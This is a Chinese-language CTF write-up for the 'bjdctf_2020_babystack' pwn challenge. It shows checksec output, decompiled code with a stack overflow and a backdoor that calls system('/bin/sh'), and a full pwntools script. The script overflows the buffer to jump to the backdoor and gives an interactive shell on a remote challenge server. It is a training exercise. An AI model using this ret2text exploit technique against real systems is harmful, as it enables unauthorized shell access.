解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:[[ret2text(栈溢出的gadgets利用)]]
获得shell或flag:[[调用程序中的system]]
学到的知识:
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file bjdctf_2020_babystack
bjdctf_2020_babystack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0f94e35d5a96e7d0fe5c63a525f441e7fa7549b1, not stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=bjdctf_2020_babystack
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 74) Symbols No 0 1bjdctf_2020_babystack
libc版本:
wp借鉴:
核心伪代码分析:
存在利用的的代码:
__int64 backdoor()
{
system("/bin/sh");
return 1LL;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
分析:
栈溢出,有后门函数
后门函数地址:backdoor:0x4006E6
.text:00000000004006E6 backdoor proc near
.text:00000000004006E6 ; __unwind {
.text:00000000004006E6 push rbp
.text:00000000004006E7 mov rbp, rsp
.text:00000000004006EA mov edi, offset command ; "/bin/sh"
.text:00000000004006EF call _system
.text:00000000004006F4 mov eax, 1
.text:00000000004006F9 pop rbp
.text:00000000004006FA retn
.text:00000000004006FA ; } // starts at 4006E6
首先利用&nbytes变量控制溢出长度,再使用buf实现溢出就可以了
脚本:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
pwnfile='./bjdctf_2020_babystack'
sh=remote('node4.buuoj.cn',28511)
elf = ELF(pwnfile)
#sh=process(pwnfile)
backdoor=0x4006E6
payload1=str(500)#大于32即可
payload2=b'a'*(24)+p64(backdoor)
print(payload1)
sh.recvuntil("[+]Please input the length of your name:")
sh.sendline(payload1)
#gdb.attach(sh)
#pause()
sh.recvuntil("[+]What's u name?")
sh.sendline(payload2)
sh.interactive()